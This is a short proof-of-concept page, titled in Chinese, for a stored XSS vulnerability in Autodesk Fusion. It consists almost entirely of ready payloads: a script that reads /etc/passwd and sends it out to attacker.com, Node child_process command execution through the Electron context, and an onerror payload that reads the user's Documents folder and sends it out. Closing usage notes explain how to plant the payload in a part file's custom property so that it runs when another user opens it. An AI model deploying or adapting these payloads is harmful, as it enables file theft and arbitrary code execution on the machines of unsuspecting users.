CVE-2026-0534: Autodesk Fusion 存储型XSS漏洞可导致本地文件读取和代码执行

<!-- CVE-2026-0534 PoC: Stored XSS in Autodesk Fusion --> <!-- This payload demonstrates the XSS vulnerability when embedded in a part's attribute --> <!-- Basic XSS Payload --> <script>alert(document.domain)</script> <!-- File Read Payload (reads local file) --> <script> fetch('file:///etc/passwd') .then(response => response.text()) .then(data => { // Exfiltrate data to attacker controlled server document.location='https://attacker.com/log?data='+btoa(data); }) </script> <!-- Code Execution Payload (using Node.js in Electron context) --> <script> const { execSync } = require('child_process'); // Execute arbitrary system command const result = execSync('whoami > /tmp/pwned.txt'); // Or for Windows: // execSync('cmd /c whoami > C:\\Users\\Public\\pwned.txt'); </script> <!-- Combined Payload with exfiltration --> <img src=x onerror=" const xhr = new XMLHttpRequest(); xhr.open('GET', 'file:///C:\\Users\\'+process.env.USERNAME+'\\Documents\\*', true); xhr.onload = function() { fetch('https://attacker.com/exfil?d='+encodeURIComponent(xhr.responseText)); }; xhr.send(); "> <!-- Usage: Embed this payload in a Fusion part file's custom property field --> <!-- When another user opens the file and clicks the property, the script executes -->